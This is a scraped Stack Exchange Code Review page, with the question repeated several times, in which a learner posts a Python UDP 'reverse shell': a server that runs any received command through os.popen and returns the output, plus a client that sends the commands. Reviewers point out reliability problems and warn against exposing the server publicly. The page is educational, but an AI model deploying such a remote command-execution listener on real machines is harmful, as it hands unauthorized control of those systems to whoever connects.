UDP Reverse Shell

The name of the pictureThe name of the pictureThe name of the pictureClash Royale CLAN TAG#URR8PPP





.everyoneloves__top-leaderboard:empty,.everyoneloves__mid-leaderboard:empty margin-bottom:0;







up vote
6
down vote

favorite












I'm currently learning python / network programming altogether and I coded this simple python reverse shell; I would like to hear any remarks from you regarding code structure, any common beginner mistake, actually pretty much anything that feels wrong with my code.



The code is pretty straightforward, the client sends a command to the server, then listens for the command output; the server listens for the command, executes it and sends the command output.



client.py :



#!/usr/bin/env python3

import networking
import prompt_handler


def interpreter():
while True:
prompt = prompt_handler.pull_prompt(sockt)

cmd = input(prompt)
sockt.sendto(cmd.encode('utf-8'), server)

output = networking.receive_data(sockt)
print(output)

if cmd == "quit":
break


server = ('127.0.0.1', 8001)

sockt = networking.socket_init('127.0.0.1', 9001)
sockt.sendto('client hello'.encode('utf-8'), server)

interpreter()


server.py :



#!/usr/bin/env python3

import os
import platform
import networking


# separated sends for cwd and user_string to be able to color them client side
def get_sys_info():
user_string = 'someone@' + str(platform.dist()[0]).lower()
sockt.sendto(user_string.encode('utf-8'), client)

user_cwd = os.getcwd()
sockt.sendto(user_cwd.encode('utf-8'), client)
return


def shell():
while True:
try:
get_sys_info()
cmd = networking.receive_data(sockt)

if cmd.strip() == 'quit':
sockt.sendto('Closing session...'.encode('utf-8'), client)
sockt.close()
break
else:
proc = os.popen(cmd)
output = ''.join([i for i in proc.readlines()])

sockt.sendto(output.encode('utf-8'), client)

except Exception as e:
sockt.sendto(repr(e).encode('utf-8'), client)
pass


sockt = networking.socket_init('127.0.0.1', 8001)
client = networking.receive_rhostinfo(sockt)

shell()


networking.py :



import socket


def socket_init(ip_addr, port):
sockt = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sockt.bind((ip_addr, port))
return sockt


# to be able to get the data directly - less clutter in main code
def receive_data(sockt):
data, rhost_info = sockt.recvfrom(1024)
return data.decode('utf-8')


# to be able to get the remote host info directly - less clutter in main code
def receive_rhostinfo(sockt):
data, rhost_info = sockt.recvfrom(1024)
return rhost_info


promp_handler.py



import networking


def pull_sys_info(sockt):
user_str = networking.receive_data(sockt)
cwd = networking.receive_data(sockt)
return user_str, cwd


# i was craving for some color
def pull_prompt(sockt):
user_str, cwd = pull_sys_info(sockt)
user_str = "u001b[31m" + user_str + "u001b[0m:"
cwd = "u001b[34m" + cwd + "u001b[0m$"
return user_str + cwd


If needs be you can find the code on github.







share|improve this question




























    up vote
    6
    down vote

    favorite












    I'm currently learning python / network programming altogether and I coded this simple python reverse shell; I would like to hear any remarks from you regarding code structure, any common beginner mistake, actually pretty much anything that feels wrong with my code.



    The code is pretty straightforward, the client sends a command to the server, then listens for the command output; the server listens for the command, executes it and sends the command output.



    client.py :



    #!/usr/bin/env python3

    import networking
    import prompt_handler


    def interpreter():
    while True:
    prompt = prompt_handler.pull_prompt(sockt)

    cmd = input(prompt)
    sockt.sendto(cmd.encode('utf-8'), server)

    output = networking.receive_data(sockt)
    print(output)

    if cmd == "quit":
    break


    server = ('127.0.0.1', 8001)

    sockt = networking.socket_init('127.0.0.1', 9001)
    sockt.sendto('client hello'.encode('utf-8'), server)

    interpreter()


    server.py :



    #!/usr/bin/env python3

    import os
    import platform
    import networking


    # separated sends for cwd and user_string to be able to color them client side
    def get_sys_info():
    user_string = 'someone@' + str(platform.dist()[0]).lower()
    sockt.sendto(user_string.encode('utf-8'), client)

    user_cwd = os.getcwd()
    sockt.sendto(user_cwd.encode('utf-8'), client)
    return


    def shell():
    while True:
    try:
    get_sys_info()
    cmd = networking.receive_data(sockt)

    if cmd.strip() == 'quit':
    sockt.sendto('Closing session...'.encode('utf-8'), client)
    sockt.close()
    break
    else:
    proc = os.popen(cmd)
    output = ''.join([i for i in proc.readlines()])

    sockt.sendto(output.encode('utf-8'), client)

    except Exception as e:
    sockt.sendto(repr(e).encode('utf-8'), client)
    pass


    sockt = networking.socket_init('127.0.0.1', 8001)
    client = networking.receive_rhostinfo(sockt)

    shell()


    networking.py :



    import socket


    def socket_init(ip_addr, port):
    sockt = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sockt.bind((ip_addr, port))
    return sockt


    # to be able to get the data directly - less clutter in main code
    def receive_data(sockt):
    data, rhost_info = sockt.recvfrom(1024)
    return data.decode('utf-8')


    # to be able to get the remote host info directly - less clutter in main code
    def receive_rhostinfo(sockt):
    data, rhost_info = sockt.recvfrom(1024)
    return rhost_info


    promp_handler.py



    import networking


    def pull_sys_info(sockt):
    user_str = networking.receive_data(sockt)
    cwd = networking.receive_data(sockt)
    return user_str, cwd


    # i was craving for some color
    def pull_prompt(sockt):
    user_str, cwd = pull_sys_info(sockt)
    user_str = "u001b[31m" + user_str + "u001b[0m:"
    cwd = "u001b[34m" + cwd + "u001b[0m$"
    return user_str + cwd


    If needs be you can find the code on github.







    share|improve this question
























      up vote
      6
      down vote

      favorite









      up vote
      6
      down vote

      favorite











      I'm currently learning python / network programming altogether and I coded this simple python reverse shell; I would like to hear any remarks from you regarding code structure, any common beginner mistake, actually pretty much anything that feels wrong with my code.



      The code is pretty straightforward, the client sends a command to the server, then listens for the command output; the server listens for the command, executes it and sends the command output.



      client.py :



      #!/usr/bin/env python3

      import networking
      import prompt_handler


      def interpreter():
      while True:
      prompt = prompt_handler.pull_prompt(sockt)

      cmd = input(prompt)
      sockt.sendto(cmd.encode('utf-8'), server)

      output = networking.receive_data(sockt)
      print(output)

      if cmd == "quit":
      break


      server = ('127.0.0.1', 8001)

      sockt = networking.socket_init('127.0.0.1', 9001)
      sockt.sendto('client hello'.encode('utf-8'), server)

      interpreter()


      server.py :



      #!/usr/bin/env python3

      import os
      import platform
      import networking


      # separated sends for cwd and user_string to be able to color them client side
      def get_sys_info():
      user_string = 'someone@' + str(platform.dist()[0]).lower()
      sockt.sendto(user_string.encode('utf-8'), client)

      user_cwd = os.getcwd()
      sockt.sendto(user_cwd.encode('utf-8'), client)
      return


      def shell():
      while True:
      try:
      get_sys_info()
      cmd = networking.receive_data(sockt)

      if cmd.strip() == 'quit':
      sockt.sendto('Closing session...'.encode('utf-8'), client)
      sockt.close()
      break
      else:
      proc = os.popen(cmd)
      output = ''.join([i for i in proc.readlines()])

      sockt.sendto(output.encode('utf-8'), client)

      except Exception as e:
      sockt.sendto(repr(e).encode('utf-8'), client)
      pass


      sockt = networking.socket_init('127.0.0.1', 8001)
      client = networking.receive_rhostinfo(sockt)

      shell()


      networking.py :



      import socket


      def socket_init(ip_addr, port):
      sockt = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
      sockt.bind((ip_addr, port))
      return sockt


      # to be able to get the data directly - less clutter in main code
      def receive_data(sockt):
      data, rhost_info = sockt.recvfrom(1024)
      return data.decode('utf-8')


      # to be able to get the remote host info directly - less clutter in main code
      def receive_rhostinfo(sockt):
      data, rhost_info = sockt.recvfrom(1024)
      return rhost_info


      promp_handler.py



      import networking


      def pull_sys_info(sockt):
      user_str = networking.receive_data(sockt)
      cwd = networking.receive_data(sockt)
      return user_str, cwd


      # i was craving for some color
      def pull_prompt(sockt):
      user_str, cwd = pull_sys_info(sockt)
      user_str = "u001b[31m" + user_str + "u001b[0m:"
      cwd = "u001b[34m" + cwd + "u001b[0m$"
      return user_str + cwd


      If needs be you can find the code on github.







      share|improve this question














      I'm currently learning python / network programming altogether and I coded this simple python reverse shell; I would like to hear any remarks from you regarding code structure, any common beginner mistake, actually pretty much anything that feels wrong with my code.



      The code is pretty straightforward, the client sends a command to the server, then listens for the command output; the server listens for the command, executes it and sends the command output.



      client.py :



      #!/usr/bin/env python3

      import networking
      import prompt_handler


      def interpreter():
      while True:
      prompt = prompt_handler.pull_prompt(sockt)

      cmd = input(prompt)
      sockt.sendto(cmd.encode('utf-8'), server)

      output = networking.receive_data(sockt)
      print(output)

      if cmd == "quit":
      break


      server = ('127.0.0.1', 8001)

      sockt = networking.socket_init('127.0.0.1', 9001)
      sockt.sendto('client hello'.encode('utf-8'), server)

      interpreter()


      server.py :



      #!/usr/bin/env python3

      import os
      import platform
      import networking


      # separated sends for cwd and user_string to be able to color them client side
      def get_sys_info():
      user_string = 'someone@' + str(platform.dist()[0]).lower()
      sockt.sendto(user_string.encode('utf-8'), client)

      user_cwd = os.getcwd()
      sockt.sendto(user_cwd.encode('utf-8'), client)
      return


      def shell():
      while True:
      try:
      get_sys_info()
      cmd = networking.receive_data(sockt)

      if cmd.strip() == 'quit':
      sockt.sendto('Closing session...'.encode('utf-8'), client)
      sockt.close()
      break
      else:
      proc = os.popen(cmd)
      output = ''.join([i for i in proc.readlines()])

      sockt.sendto(output.encode('utf-8'), client)

      except Exception as e:
      sockt.sendto(repr(e).encode('utf-8'), client)
      pass


      sockt = networking.socket_init('127.0.0.1', 8001)
      client = networking.receive_rhostinfo(sockt)

      shell()


      networking.py :



      import socket


      def socket_init(ip_addr, port):
      sockt = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
      sockt.bind((ip_addr, port))
      return sockt


      # to be able to get the data directly - less clutter in main code
      def receive_data(sockt):
      data, rhost_info = sockt.recvfrom(1024)
      return data.decode('utf-8')


      # to be able to get the remote host info directly - less clutter in main code
      def receive_rhostinfo(sockt):
      data, rhost_info = sockt.recvfrom(1024)
      return rhost_info


      promp_handler.py



      import networking


      def pull_sys_info(sockt):
      user_str = networking.receive_data(sockt)
      cwd = networking.receive_data(sockt)
      return user_str, cwd


      # i was craving for some color
      def pull_prompt(sockt):
      user_str, cwd = pull_sys_info(sockt)
      user_str = "u001b[31m" + user_str + "u001b[0m:"
      cwd = "u001b[34m" + cwd + "u001b[0m$"
      return user_str + cwd


      If needs be you can find the code on github.









      share|improve this question













      share|improve this question




      share|improve this question








      edited Aug 9 at 12:10

























      asked Aug 9 at 11:24









      Kyo

      335




      335




















          2 Answers
          2






          active

          oldest

          votes

















          up vote
          5
          down vote



          accepted










          • UDP is not reliable. The packet sent to the sever could be lost (and therefore the server will not answer). The packet sent by the server could be lost. The client must handle such possibilities. As coded, it just hangs in recvfrom indefinitely.


          • Your recvfrom only takes 1024 bytes. If the shell output is longer, the rest is irrecoverably lost.



          • If the shell output is longer than MTU, the output is fragmented into the multiple packets. The client however only reads one. From this point down, the data client receives have no connection to what was executed. Try to cat a long file, for example.



            Also keep in mind that the fragments may arrive in any order (UDP doesn't guarantee the order of delivery).



          • Beware shell builtins. Since each command is executed in an individual shell, some commands (such as cd) only appear to be executed, but in fact have no effect.


          • Of course, don't ever run this server publicly. Execution of arbitrary commands (especially from an untrusted source) is a recipe for disaster.






          share|improve this answer




















          • Both answers were helpful, but i'll accept this one since I believe it has the most valuable infos for a beginner looking to code a reverse shell. Thank you!
            – Kyo
            Aug 10 at 10:54


















          up vote
          5
          down vote













          General style



          Your general code style is good. The methods are named feasibly and you stick to PEP 8.



          Separate client and server shutdown



          Currently your "quit" command shuts down both the server and client.
          Since it is a command entered in the client to the server I'd expect it to either shut down the client (firstly) or shutdown the server, but not both.
          You may want to consider using "quit" to shutdown the client only and keep the server running for a later re-connect and use something like "shutdown" to shutdown the server only.



          Prior to its shutdown, the server may notify the client about this, by e.g. sending ␄ or another control character.



          Socket limits and data loss



          You statically limited the reading of data from the sockets to 1024 bytes. If you'd send more data, it will get lost.



          Use libraries where applicable



          Have a look at ZeroMQ or other higher-level libraries if you don't necessarily need to mess with sockets on the low level.






          share|improve this answer




















            Your Answer




            StackExchange.ifUsing("editor", function ()
            return StackExchange.using("mathjaxEditing", function ()
            StackExchange.MarkdownEditor.creationCallbacks.add(function (editor, postfix)
            StackExchange.mathjaxEditing.prepareWmdForMathJax(editor, postfix, [["\$", "\$"]]);
            );
            );
            , "mathjax-editing");

            StackExchange.ifUsing("editor", function ()
            StackExchange.using("externalEditor", function ()
            StackExchange.using("snippets", function ()
            StackExchange.snippets.init();
            );
            );
            , "code-snippets");

            StackExchange.ready(function()
            var channelOptions =
            tags: "".split(" "),
            id: "196"
            ;
            initTagRenderer("".split(" "), "".split(" "), channelOptions);

            StackExchange.using("externalEditor", function()
            // Have to fire editor after snippets, if snippets enabled
            if (StackExchange.settings.snippets.snippetsEnabled)
            StackExchange.using("snippets", function()
            createEditor();
            );

            else
            createEditor();

            );

            function createEditor()
            StackExchange.prepareEditor(
            heartbeatType: 'answer',
            convertImagesToLinks: false,
            noModals: false,
            showLowRepImageUploadWarning: true,
            reputationToPostImages: null,
            bindNavPrevention: true,
            postfix: "",
            onDemand: true,
            discardSelector: ".discard-answer"
            ,immediatelyShowMarkdownHelp:true
            );



            );













             

            draft saved


            draft discarded


















            StackExchange.ready(
            function ()
            StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fcodereview.stackexchange.com%2fquestions%2f201276%2fudp-reverse-shell%23new-answer', 'question_page');

            );

            Post as a guest






























            2 Answers
            2






            active

            oldest

            votes








            2 Answers
            2






            active

            oldest

            votes









            active

            oldest

            votes






            active

            oldest

            votes








            up vote
            5
            down vote



            accepted










            • UDP is not reliable. The packet sent to the sever could be lost (and therefore the server will not answer). The packet sent by the server could be lost. The client must handle such possibilities. As coded, it just hangs in recvfrom indefinitely.


            • Your recvfrom only takes 1024 bytes. If the shell output is longer, the rest is irrecoverably lost.



            • If the shell output is longer than MTU, the output is fragmented into the multiple packets. The client however only reads one. From this point down, the data client receives have no connection to what was executed. Try to cat a long file, for example.



              Also keep in mind that the fragments may arrive in any order (UDP doesn't guarantee the order of delivery).



            • Beware shell builtins. Since each command is executed in an individual shell, some commands (such as cd) only appear to be executed, but in fact have no effect.


            • Of course, don't ever run this server publicly. Execution of arbitrary commands (especially from an untrusted source) is a recipe for disaster.






            share|improve this answer




















            • Both answers were helpful, but i'll accept this one since I believe it has the most valuable infos for a beginner looking to code a reverse shell. Thank you!
              – Kyo
              Aug 10 at 10:54















            up vote
            5
            down vote



            accepted










            • UDP is not reliable. The packet sent to the sever could be lost (and therefore the server will not answer). The packet sent by the server could be lost. The client must handle such possibilities. As coded, it just hangs in recvfrom indefinitely.


            • Your recvfrom only takes 1024 bytes. If the shell output is longer, the rest is irrecoverably lost.



            • If the shell output is longer than MTU, the output is fragmented into the multiple packets. The client however only reads one. From this point down, the data client receives have no connection to what was executed. Try to cat a long file, for example.



              Also keep in mind that the fragments may arrive in any order (UDP doesn't guarantee the order of delivery).



            • Beware shell builtins. Since each command is executed in an individual shell, some commands (such as cd) only appear to be executed, but in fact have no effect.


            • Of course, don't ever run this server publicly. Execution of arbitrary commands (especially from an untrusted source) is a recipe for disaster.






            share|improve this answer




















            • Both answers were helpful, but i'll accept this one since I believe it has the most valuable infos for a beginner looking to code a reverse shell. Thank you!
              – Kyo
              Aug 10 at 10:54













            up vote
            5
            down vote



            accepted







            up vote
            5
            down vote



            accepted






            • UDP is not reliable. The packet sent to the sever could be lost (and therefore the server will not answer). The packet sent by the server could be lost. The client must handle such possibilities. As coded, it just hangs in recvfrom indefinitely.


            • Your recvfrom only takes 1024 bytes. If the shell output is longer, the rest is irrecoverably lost.



            • If the shell output is longer than MTU, the output is fragmented into the multiple packets. The client however only reads one. From this point down, the data client receives have no connection to what was executed. Try to cat a long file, for example.



              Also keep in mind that the fragments may arrive in any order (UDP doesn't guarantee the order of delivery).



            • Beware shell builtins. Since each command is executed in an individual shell, some commands (such as cd) only appear to be executed, but in fact have no effect.


            • Of course, don't ever run this server publicly. Execution of arbitrary commands (especially from an untrusted source) is a recipe for disaster.






            share|improve this answer












            • UDP is not reliable. The packet sent to the sever could be lost (and therefore the server will not answer). The packet sent by the server could be lost. The client must handle such possibilities. As coded, it just hangs in recvfrom indefinitely.


            • Your recvfrom only takes 1024 bytes. If the shell output is longer, the rest is irrecoverably lost.



            • If the shell output is longer than MTU, the output is fragmented into the multiple packets. The client however only reads one. From this point down, the data client receives have no connection to what was executed. Try to cat a long file, for example.



              Also keep in mind that the fragments may arrive in any order (UDP doesn't guarantee the order of delivery).



            • Beware shell builtins. Since each command is executed in an individual shell, some commands (such as cd) only appear to be executed, but in fact have no effect.


            • Of course, don't ever run this server publicly. Execution of arbitrary commands (especially from an untrusted source) is a recipe for disaster.







            share|improve this answer












            share|improve this answer



            share|improve this answer










            answered Aug 9 at 15:25









            vnp

            36.8k12992




            36.8k12992











            • Both answers were helpful, but i'll accept this one since I believe it has the most valuable infos for a beginner looking to code a reverse shell. Thank you!
              – Kyo
              Aug 10 at 10:54

















            • Both answers were helpful, but i'll accept this one since I believe it has the most valuable infos for a beginner looking to code a reverse shell. Thank you!
              – Kyo
              Aug 10 at 10:54
















            Both answers were helpful, but i'll accept this one since I believe it has the most valuable infos for a beginner looking to code a reverse shell. Thank you!
            – Kyo
            Aug 10 at 10:54





            Both answers were helpful, but i'll accept this one since I believe it has the most valuable infos for a beginner looking to code a reverse shell. Thank you!
            – Kyo
            Aug 10 at 10:54













            up vote
            5
            down vote













            General style



            Your general code style is good. The methods are named feasibly and you stick to PEP 8.



            Separate client and server shutdown



            Currently your "quit" command shuts down both the server and client.
            Since it is a command entered in the client to the server I'd expect it to either shut down the client (firstly) or shutdown the server, but not both.
            You may want to consider using "quit" to shutdown the client only and keep the server running for a later re-connect and use something like "shutdown" to shutdown the server only.



            Prior to its shutdown, the server may notify the client about this, by e.g. sending ␄ or another control character.



            Socket limits and data loss



            You statically limited the reading of data from the sockets to 1024 bytes. If you'd send more data, it will get lost.



            Use libraries where applicable



            Have a look at ZeroMQ or other higher-level libraries if you don't necessarily need to mess with sockets on the low level.






            share|improve this answer
























              up vote
              5
              down vote













              General style



              Your general code style is good. The methods are named feasibly and you stick to PEP 8.



              Separate client and server shutdown



              Currently your "quit" command shuts down both the server and client.
              Since it is a command entered in the client to the server I'd expect it to either shut down the client (firstly) or shutdown the server, but not both.
              You may want to consider using "quit" to shutdown the client only and keep the server running for a later re-connect and use something like "shutdown" to shutdown the server only.



              Prior to its shutdown, the server may notify the client about this, by e.g. sending ␄ or another control character.



              Socket limits and data loss



              You statically limited the reading of data from the sockets to 1024 bytes. If you'd send more data, it will get lost.



              Use libraries where applicable



              Have a look at ZeroMQ or other higher-level libraries if you don't necessarily need to mess with sockets on the low level.






              share|improve this answer






















                up vote
                5
                down vote










                up vote
                5
                down vote









                General style



                Your general code style is good. The methods are named feasibly and you stick to PEP 8.



                Separate client and server shutdown



                Currently your "quit" command shuts down both the server and client.
                Since it is a command entered in the client to the server I'd expect it to either shut down the client (firstly) or shutdown the server, but not both.
                You may want to consider using "quit" to shutdown the client only and keep the server running for a later re-connect and use something like "shutdown" to shutdown the server only.



                Prior to its shutdown, the server may notify the client about this, by e.g. sending ␄ or another control character.



                Socket limits and data loss



                You statically limited the reading of data from the sockets to 1024 bytes. If you'd send more data, it will get lost.



                Use libraries where applicable



                Have a look at ZeroMQ or other higher-level libraries if you don't necessarily need to mess with sockets on the low level.






                share|improve this answer












                General style



                Your general code style is good. The methods are named feasibly and you stick to PEP 8.



                Separate client and server shutdown



                Currently your "quit" command shuts down both the server and client.
                Since it is a command entered in the client to the server I'd expect it to either shut down the client (firstly) or shutdown the server, but not both.
                You may want to consider using "quit" to shutdown the client only and keep the server running for a later re-connect and use something like "shutdown" to shutdown the server only.



                Prior to its shutdown, the server may notify the client about this, by e.g. sending ␄ or another control character.



                Socket limits and data loss



                You statically limited the reading of data from the sockets to 1024 bytes. If you'd send more data, it will get lost.



                Use libraries where applicable



                Have a look at ZeroMQ or other higher-level libraries if you don't necessarily need to mess with sockets on the low level.







                share|improve this answer












                share|improve this answer



                share|improve this answer










                answered Aug 9 at 13:34









                Richard Neumann

                1,831721




                1,831721



























                     

                    draft saved


                    draft discarded















































                     


                    draft saved


                    draft discarded














                    StackExchange.ready(
                    function ()
                    StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fcodereview.stackexchange.com%2fquestions%2f201276%2fudp-reverse-shell%23new-answer', 'question_page');

                    );

                    Post as a guest













































































                    Comments

                    Popular posts from this blog

                    Long meetings (6-7 hours a day): Being “babysat” by supervisor

                    Is the Concept of Multiple Fantasy Races Scientifically Flawed? [closed]

                    Confectionery